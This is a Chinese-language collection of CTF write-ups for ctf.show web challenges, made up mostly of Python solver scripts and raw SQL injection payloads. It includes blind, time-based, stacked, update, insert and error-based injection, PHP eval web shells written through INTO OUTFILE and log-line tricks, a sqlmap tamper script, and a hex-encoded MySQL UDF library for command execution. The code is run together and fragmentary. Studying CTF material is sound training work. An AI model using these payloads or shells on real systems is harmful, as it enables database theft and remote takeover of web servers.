defread(): whileTrue: r = session.get(url2) if'flag'in r.text: print(r.text) threads = [threading.Thread(target=write), threading.Thread(target=read)] for t in threads: t.start()
#encoding: utf-8 import os import requests import re import string import threading import urllib
letters = string.ascii_letters + string.digits + '-}{_' url = 'http://2e4133ff-13ae-4038-9b6e-ce069aa25427.challenge.ctf.show/select-waf.php' stop = False flag = 'ctfshow{' hex_flag = '0x63746673686F777B' while stop isFalse: for c in letters: payload = hex_flag + hex(ord(c))[2:] data = { "tableName":f"ctfshow_user group by pass having pass regexp({payload})" } response = requests.post(url=url, data=data) if'user_count = 1;'in response.text: if c == '}': stop = True hex_flag = payload flag += c print(flag) break
web185-186
不能用数字了,考虑用char和true构造出字母,然后用concat拼接起来
#encoding: utf-8 import os import requests import re import string import threading import urllib
# 我这里使用了很多个true拼接,但实际上也可以一位一位的,比如99可以用'9'和'9'拼起来 defstr_convert(s:str) -> str: ss = 'concat(' for c in s: ss += f'char(true' + '+true'*(ord(c)-1) + '),' return ss[:-1]+')'
while stop isFalse: for c in letters: payload = str_convert(flag+c) data = { "tableName":f"ctfshow_user group by pass having pass regexp({payload})" } response = requests.post(url=url, data=data) if'user_count = 1;'in response.text: if c == '}': stop = True flag += c print(flag) break
web187
查询语句
//拼接sql语句查找指定ID用户 $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
flag = '' for i inrange(1,60): l = 32 r = 127 while l < r: mid = (l+r)>>1 if(mid==l): flag += chr(mid) print(flag) break data = { # 数据库 ctfshow_web # "username":f"admin'and (ascii(substr((select database()),{i},1))<{mid})#",
flag = '' for i inrange(1,60): l = 32 r = 127 while l < r: mid = (l+r)>>1 if(mid==l): flag += chr(mid) print(flag) break data = { # 数据库 ctfshow_web # "username":f"admin'and (ord(substr((select database()),{i},1))<{mid})#",
flag = '' for i inrange(1,50): for j inrange(32,128): data = { # 数据库 ctfshow_web # "username":f"admin'and if(substr((select database()),{i},1)='{chr(j)}',1,0)#",
flag = '' for i inrange(1,46): for j inrange(32,128): data = { # 数据库 ctfshow_web # "username":f"admin'and if(left((select database()),{i})='{flag+chr(j)}',1,0)#",
flag = '' for i inrange(1,46): for j inrange(32,128): data = { # 数据库 ctfshow_web # "username":f"admin'and if(lpad((select database()),{i},'')='{flag+chr(j)}',1,0)#",
""" Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """
from lib.core.compat import xrange from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
defdependencies(): pass
deftamper(payload, **kwargs): """ Replaces all occurrences of operator equal (' ') with '%09' counterpart Tested against: * MySQL 4, 5.0 and 5.5 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the equal character ('=') * The LIKE operator is SQL standard. Hence, this tamper script should work against all (?) databases >>> tamper('SELECT * FROM users WHERE id=1') 'SELECT%09*%09FROM%09users%09WHERE%09id=1' """
flag = '' for i inrange(1,60): l = 32 r = 127 while l < r: mid = (l+r)>>1 if(mid==l): flag += chr(mid) print(flag) break data = { # 数据库 ctfshow_web # "ip":f"if((ascii(substr((select database()),{i},1))<{mid}),sleep(3),1)",
# 表名 ctfshow_flagx,ctfshow_info # "ip":f"if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid}),sleep(3),1)", # 列名 id,flaga,info # "ip":f"if((ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagx'),{i},1))<{mid}),sleep(3),1)", # ctfshow{0c212089-3b00-4cd9-b24f-2c2ab51a9674} "ip":f"if((ascii(substr((select group_concat(flaga)from ctfshow_flagx),{i},1))<{mid}),sleep(3),1)", "debug": "0" } try: response = requests.post(url=url, data=data, timeout=2) l = mid except: r = mid
web215
多了引号包裹
select id from ctfshow_info where ip = '127.0.0.1';
还是二分时间盲注
#encoding: utf-8 import os import requests import re import string import threading import urllib
flag = '' for i inrange(1,60): l = 32 r = 127 while l < r: mid = (l+r)>>1 if(mid==l): flag += chr(mid) print(flag) break data = { # 数据库 ctfshow_web # "ip":f"'||if((ascii(substr((select database()),{i},1))<{mid}),sleep(3),1)#",
# 表名 ctfshow_flagxc,ctfshow_info # "ip":f"'||if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid}),sleep(3),1)#", # 列名 id,flagaa,info # "ip":f"'||if((ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))<{mid}),sleep(3),1)#", # ctfshow{ddf21244-bda1-4631-8272-8e5fc47275a5} "ip":f"'||if((ascii(substr((select group_concat(flagaa)from ctfshow_flagxc),{i},1))<{mid}),sleep(3),1)#", "debug": "0" } try: response = requests.post(url=url, data=data, timeout=2) l = mid except: r = mid
web216
增加了base64
select id from ctfshow_info where ip = from_base64(127.0.0.1);
用括号闭合就好
#encoding: utf-8 import os import requests import re import string import threading import urllib
flag = '' for i inrange(1,60): l = 32 r = 127 while l < r: mid = (l+r)>>1 if(mid==l): flag += chr(mid) print(flag) break data = { # 数据库 ctfshow_web # "ip":f"0)||if((ascii(substr((select database()),{i},1))<{mid}),sleep(3),1)#",
# 表名 ctfshow_flagxcc,ctfshow_info # "ip":f"0)||if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid}),sleep(3),1)#", # 列名 id,flagaac,info # "ip":f"0)||if((ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxcc'),{i},1))<{mid}),sleep(3),1)#", # ctfshow{3c215bb4-3aab-4149-96fb-ea6c2bbdf49d} "ip":f"0)||if((ascii(substr((select group_concat(flagaac)from ctfshow_flagxcc),{i},1))<{mid}),sleep(3),1)#", "debug": "0" } try: response = requests.post(url=url, data=data, timeout=2) l = mid except: r = mid
flag = '' for i inrange(1,60): l = 32 r = 127 while l < r: mid = (l+r)>>1 if(mid==l): flag += chr(mid) print(flag) break data = { # 数据库 ctfshow_web # "ip":f"0)||if((ascii(substr((select database()),{i},1))<{mid}),benchmark(50000000,'evo1'),1)#",
# 表名 ctfshow_flagxccb,ctfshow_info # "ip":f"0)||if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid}),benchmark(150000000,'evo1'),1)#", # 列名 id,flagaabc,info # "ip":f"0)||if((ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxccb'),{i},1))<{mid}),benchmark(150000000,'evo1'),1)#", # ctfshow{c8faf32a-fe53-41f0-a7df-560a0971f034} "ip":f"0)||if((ascii(substr((select group_concat(flagaabc)from ctfshow_flagxccb),{i},1))<{mid}),benchmark(150000000,'evo1'),1)#", "debug": "0" } time.sleep(0.7) try: response = requests.post(url=url, data=data, timeout=2) l = mid except: r = mid
flag = '' for i inrange(1,60): l = 32 r = 127 while l < r: mid = (l+r)>>1 if(mid==l): flag += chr(mid) print(flag) break data = { # 数据库 ctfshow_web # "ip":f"0)||if((ascii(substr((select database()),{i},1))<{mid}),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#",
# 表名 ctfshow_flagxc,ctfshow_info # "ip":f"0)||if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid}),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#", # 列名 id,flagaac,info # "ip":f"0)||if((ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))<{mid}),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#", # ctfshow{5456333f-bac9-48eb-b262-4e1eaf38fe0a} "ip":f"0)||if((ascii(substr((select group_concat(flagaac)from ctfshow_flagxc),{i},1))<{mid}),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#", "debug": "0" } time.sleep(0.5) try: response = requests.post(url=url, data=data, timeout=1) l = mid except: r = mid
flag = '' for i inrange(1,60): l = 32 r = 127 while l < r: mid = (l+r)>>1 if(mid==l): flag += chr(mid) print(flag) break data = { # 数据库 ctfshow_web # "ip":f"0)||if((ascii(substr((select database()),{i},1))<{mid}),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#",
# 表名 ctfshow_flagxca,ctfshow_info # "ip":f"0)||if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid}),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#", # 列名 id,flagaabc,info # "ip":f"0)||if((ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxca'),{i},1))<{mid}),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#", # ctfshow{3adf6005-ec81-4a42-8e06-7adbb42c6c11} "ip":f"0)||if((ascii(substr((select group_concat(flagaabc)from ctfshow_flagxca),{i},1))<{mid}),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#", "debug": "0" } time.sleep(0.5) try: response = requests.post(url=url, data=data, timeout=1) l = mid except: r = mid
flag = '' for i inrange(1,60): for j in letters: data = { # 数据库 ctfshow_web # "ip":f"0)||if((left((select database()),{i})='{flag+j}'),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#",
# 表名 ctfshow_flagxcac # "ip":f"0)||if((left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i})='{flag+j}'),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#", # 列名 flagaabcc # "ip":f"0)||if((left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{i})='{flag+j}'),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#", # ctfshow{8e25fbd7-907b-44f6-a6b3-f350261adcce} "ip":f"0)||if((left((select flagaabcc from ctfshow_flagxcac limit 0,1),{i})='{flag+j}'),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#", "debug": "0" } time.sleep(0.5) try: response = requests.post(url=url, data=data, timeout=1) except: flag += j print(flag) break
#encoding: utf-8 import os import requests import re import string import threading import time import urllib
defdiv(num): if num < 10: returnf"ascii('%0{num}')" elif num <100: returnf"concat(ascii('%0{str(num)[0]}'),ascii('%0{str(num)[1]}'))" else: returnf"concat(ascii('%0{str(num)[0]}'),ascii('%0{str(num)[1]}'),ascii('%0{str(num)[2]}'))"
flag = '' for i inrange(1,60): l = 32 r = 127 while l < r: mid = (l+r)>>1 if(mid==l): flag += chr(mid) print(flag) break #数据库 ctfshow_web # payload = f"?u=if((ascii(substr((select database()),{div(i)},true))<{div(mid)}),username,false)&page=1&limit=10"
#表名 ctfshow_flagas,ctfshow_user # payload = f"?u=if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{div(i)},true))<{div(mid)}),username,false)&page=1&limit=10"
#列名 id,flagasabc,info # payload = f"?u=if((ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagas'),{div(i)},true))<{div(mid)}),username,false)&page=1&limit=10"
if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){ die("file type error"); }
注入点在这里
$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
我们的语句放进去后会闭合前面的括号,然后堆叠注入写文件
INSERT INTO file(filename,filepath,filetype) VALUES ('filename','filepath','');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+');
web225
查询语句
//分页查询 $sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
# flagas /api/?username=1';show columns from ctfshow_flagasa;&page=1&limit=10
/api/?username=1';HANDLER ctfshow_flagasa OPEN as aaa;HANDLER aaa READ FIRST;&page=1&limit=10 {"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","flagas":"ctfshow{bc3f1bc6-6ec5-4590-9362-f7610702c891}","info":"you get it"}]}
方法二 预处理
# ctfshow_web /api/?username=1';PREPARE evo1 from concat('s','elect', ' database()');EXECUTE evo1;&page=1&limit=10
/api/?username=1';PREPARE evo1 from concat('s','elect', ' flagas from ctfshow_flagasa');EXECUTE evo1;&page=1&limit=10
/api/?username=1';PREPARE evo1 from concat(char(115,101,108,101,99,116), ' flagas from ctfshow_flagasa');EXECUTE evo1;&page=1&limit=10
web226
查询语句
//分页查询 $sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
# select database() /api/?username=1';PREPARE evo1 from 0x73656c6563742064617461626173652829;EXECUTE evo1;#&page=1&limit=10
# show tables # ctfsh_ow_flagas /api/?username=1';PREPARE evo1 from 0x73686f77207461626c6573;EXECUTE evo1;#&page=1&limit=10
# select * from ctfsh_ow_flagas /api/?username=1';PREPARE evo1 from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;EXECUTE evo1;#&page=1&limit=10
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","flagasb":"ctfshow{dc7176dd-fba9-4665-aebb-7f4c0d2c2cf7}","info":"you get it"}]}
web227
这道题用前面的方法找不到,传个🐎上去看看
# select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php' /api/?username=1';PREPARE evo1 from 0x73656c65637420273c3f706870206576616c28245f504f53545b315d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f312e70687027;EXECUTE evo1;#&page=1&limit=10
连接数据库记得数据库类型要选MYSQLI,在ROUTINES发现getFlag方法
向右翻找在定义处可以找到flag
知道地方后其实也可以直接注入了
# select * from information_schema.routines /api/?username=1';PREPARE evo1 from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;EXECUTE evo1;#&page=1&limit=10
也可以直接调用getFlag
/api/?username=1';call getFlag;
web228-230
同web226
web231
查询语句
//分页查询 $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
update注入,记得改用post方法
# root@localhost password=1',username=user() where id=1#&username=1
# ctfshow_web password=1',username=database() where id=1#&username=1
# banlist,ctfshow_user,flaga password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where id=1#&username=1
# id,flagas,info password=1',username=(select group_concat(column_name) from information_schema.columns where table_name="flaga") where id=1#&username=1
# ctfshow{29f08a27-226c-4e94-9689-ea06e7c9cd83} password=1',username=(select flagas from flaga) where id=1#&username=1
web232
改成用')闭合即可,其他步骤同web231
web233
查询语句
//分页查询 $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
可以用\逃逸,会把第一个'注释掉,变成下面这种语句
update ctfshow_user set pass = '\' where username = ',username=(select database()) where id=1';
最终payload
# 数据库 ctfshow_web username=,username=(select database()) where id=1#&password=\
# 表名 banlist,ctfshow_user,flag233333 username=,username=(select group_concat(table_name)from information_schema.tables where table_schema=database()) where id=1#&password=\
# 列名 id,flagass233,info username=,username=(select group_concat(column_name)from information_schema.columns where table_name='flag233333') where id=1#&password=\
# ctfshow{55536d6e-1dc6-47dc-9a53-51b709ea4c64} username=,username=(select flagass233 from flag233333) where id=1#&password=\
也可以直接时间盲注
#encoding: utf-8 import requests import re import string import time
flag = '' for i inrange(1,60): l = 32 r = 127 while l < r: mid = (l+r)>>1 if(mid==l): flag += chr(mid) print(flag) break #数据库 ctfshow_web # payload = f"ascii(substr((select database()),{i},1))<{mid}"
#表名 banlist,ctfshow_user,flag233333 # payload = f"ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid}" #列名 id,flagass233,info # payload = f"ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag233333'),{i},1))<{mid}" # ctfshow{55536d6e-1dc6-47dc-9a53-51b709ea4c64} payload = f"ascii(substr((select group_concat(flagass233)from flag233333),{i},1))<{mid}" data = { "username": f"1' or if(({payload}),sleep(0.05),1)#", "password": f"1", } time.sleep(0.1) try: response = requests.post(url=url, data=data, timeout=0.9) l = mid except: r = mid
if flag[-1] == ' 'or flag[-1] == '}': break
web234
单引号被过滤了,直接用\逃逸就好(找列名哪里表名可以转16进制或者用"包裹)
# 数据库 ctfshow_web username=,username=(select database()) where id=1#&password=\
# 表名 banlist,ctfshow_user,flag23a username=,username=(select group_concat(table_name)from information_schema.tables where table_schema=database()) where id=1#&password=\
# 列名 id,flagass23s3,info username=,username=(select group_concat(column_name)from information_schema.columns where table_name=0x666C6167323361) where id=1#&password=\ username=,username=(select group_concat(column_name)from information_schema.columns where table_name="flag23a") where id=1#&password=\
# ctfshow{adc42c34-0200-452a-b04c-dc465c05ecb2} username=,username=(select flagass23s3 from flag23a) where id=1#&password=\
# 数据库 ctfshow_web username=,username=(select database()) where id=1#&password=\
# 表名 banlist,ctfshow_user,flag23a1,gtid_slave_pos username=,username=(select group_concat(table_name) from mysql.innodb_table_stats) where id=1#&password=\ username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())
# ctfshow{8dc6b582-bb1f-4700-8a60-59a2c552877c} username=,username=(select `2` from(select 1,2,3 union select * from flag23a1 limit 1,1)a) where id=1#&password=\ username=,username=(select b from(select 1,2 as b,3 union select * from flag23a1 limit 1,1)a) where id=1#&password=\
web236
增加过滤了flag
# 数据库 ctfshow_web username=,username=(select database()) where id=1#&password=\
# 表名 banlist,ctfshow_user,flaga,gtid_slave_pos username=,username=(select group_concat(table_name) from mysql.innodb_table_stats) where id=1#&password=\ username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())
# ctfshow{975ab439-77ff-42fd-87be-84a13f913594} username=,username=(select `2` from(select 1,2,3 union select * from flaga limit 1,1)a) where id=1#&password=\ username=,username=(select b from(select 1,2 as b,3 union select * from flaga limit 1,1)a) where id=1#&password=\ username=,username=(select to_base64(b) from(select 1,2 as b,3 union select * from flaga limit 1,1)a) where id=1#&password=\
web237
查询语句
//插入数据 $sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
insert注入,闭合前面的'然后插入自己的数据
insert into ctfshow_user(username,pass) value('1',(select database());#','1');
# 表名 banlist,ctfshow_user,flag,gtid_slave_pos username=1',(select group_concat(table_name) from mysql.innodb_table_stats));#&password=1 # banlist,ctfshow_user,flag username=1',(select group_concat(table_name) from information_schema.tables where table_schema=database()));#&password=1
# 列名 id,flagass23s3,info username=1',(select group_concat(column_name) from information_schema.columns where table_name="flag"));#&password=1
# ctfshow{0cdc4293-2484-435d-9961-4f932090a6a2} username=1',(select b from(select 1,2 as b,3 union select * from flag limit 1,1)a));#&password=1 username=1',(select flagass23s3 from flag));#&password=1
for i in letters: for j in letters: for k in letters: for l in letters: for m in letters: table_name = 'flag' + i + j + k + l + m data = { "username": f"1',(select(flag)from({table_name})))#", "password": "1" } r_insert = requests.post(url=url_insert,data=data) r_query = requests.get(url=url_query) for i in r_query.json()['data']: if"ctfshow{"in i['pass']: print(i['pass']) sys.exit(0)
web241
时间盲注
#encoding: utf-8 import requests import re import string import time
flag = '' for i inrange(1,60): l = 32 r = 127 while l < r: mid = (l+r)>>1 if(mid==l): flag += chr(mid) print(flag) break #数据库 ctfshow_web # payload = f"ascii(substr((select database()),{i},1))<{mid}"
#表名 banlist,ctfshow_user,flag # payload = f"ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid}" #列名 id,flag,info # payload = f"ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{i},1))<{mid}" # ctfshow{00a7ac5a-fbac-4e61-b847-ba84f4699af9} payload = f"ascii(substr((select group_concat(flag)from flag),{i},1))<{mid}" data = { "id": f"if(({payload}),sleep(0.05),1)#" } time.sleep(0.1) try: response = requests.post(url=url, data=data, timeout=0.9) l = mid except: r = mid
if flag[-1] == ' 'or flag[-1] == '}': break
web242
sql语句
//备份表 $sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
可以使用这3个语句,使查询出来的数据结尾都添加上自定义的内容
lines terminated by lines starting by fields terminated by
最终payload
filename=1.php' lines terminated by '<?php eval($_POST[1]);phpinfo();?>'#
然后访问/dump/1.php执行1=system("cat /flag.here");即可
web243
过滤了php,可以先上传.user.ini,然后上传图片🐎即可
filename=.user.ini' lines starting by 'auto_append_file="1.jpg";'#
传🐎
filename=1.jpg' lines starting by '<?=eval($_POST[1]);?>'#
然后访问/dump/index.php并执行1=system("cat /flag.here");
web244
sql语句
//备份表 $sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
# 表名 banlist,ctfshow_flag,ctfshow_us /api/?id=1'||updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23&page=1&limit=10
# 列名 id,flag,info /api/?id=1'||updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),0x7e),1)%23&page=1&limit=10
# 长度有限制,注意分开取 # ctfshow{2295d52e-d13a-40c6-9361 1'||updatexml(1,concat(0x7e,(select group_concat(flag) from ctfshow_flag),0x7e),1)%23&page=1&limit=10 #-cdf390ded690} /api/?id=1'||updatexml(1,concat(0x7e,(select right(group_concat(flag),14) from ctfshow_flag),0x7e),1)%23&page=1&limit=10 # 拼接一下即可 ctfshow{2295d52e-d13a-40c6-9361-cdf390ded690}
# 表名 banlist,ctfshow_flagsa,ctfshow_ /api/?id=1'||extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23&page=1&limit=10
# 列名 id,flag1,info /api/?id=1'||extractvalue(0x0a,concat(0x0a,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa')))%23&page=1&limit=10
# 长度有限制,注意分开取 # ctfshow{3c98930a-4ff1-4074-bd56 /api/?id=1'||extractvalue(0x0a,concat(0x0a,(select group_concat(flag1) from ctfshow_flagsa)))%23&page=1&limit=10 # -98413a509601} /api/?id=1'||extractvalue(0x0a,concat(0x0a,(select right(group_concat(flag1),14) from ctfshow_flagsa)))%23&page=1&limit=10 # 拼接一下即可 ctfshow{3c98930a-4ff1-4074-bd56-98413a509601}
web246
在上一关基础上又过滤了extractvalue,使用floor报错注入
# 数据库 ctfshow_web /api/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select database() limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23&page=1&limit=10
# 表名 ctfshow_flags /api/?id= 1' union select 1,count(*),concat(0x3a,0x3a,(select (table_name) from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23&page=1&limit=10
# 列名 flag2 /api/?id= 1' union select 1,count(*),concat(0x3a,0x3a,(select (column_name) from information_schema.columns where table_name='ctfshow_flags' limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23&page=1&limit=10
# ctfshow{2aac7541-6f66-4780-8a44-e8cfa45e1842} /api/?id= 1' union select 1,count(*),concat(0x3a,0x3a,(select flag2 from ctfshow_flags limit 0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23&page=1&limit=10
web247
在上一关基础上又过滤了floor,使用其他数学函数
round ceil floor
换成ceil即可,注意这一次列名比较特殊,要用反引号包裹
# 数据库 ctfshow_web /api/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select database() limit 1,1),0x3a,0x3a,ceil(rand(0)*2))a from information_schema.columns group by a%23&page=1&limit=10
# 表名 ctfshow_flagsa /api/?id= 1' union select 1,count(*),concat(0x3a,0x3a,(select (table_name) from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,ceil(rand(0)*2))a from information_schema.columns group by a%23&page=1&limit=10
# 列名 flag? /api/?id= 1' union select 1,count(*),concat(0x3a,0x3a,(select (column_name) from information_schema.columns where table_name='ctfshow_flagsa' limit 1,1),0x3a,0x3a,ceil(rand(0)*2))a from information_schema.columns group by a%23&page=1&limit=10
# ctfshow{f2cfa4cb-9474-422b-9869-1254c8381897} /api/?id= 1' union select 1,count(*),concat(0x3a,0x3a,(select `flag?` from ctfshow_flagsa limit 0,1),0x3a,0x3a,ceil(rand(0)*2))a from information_schema.columns group by a%23&page=1&limit=10
import requests url="http://7f4bb2eb-823a-4218-9b38-670163bf025e.challenge.ctf.show/api/" udf="7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d40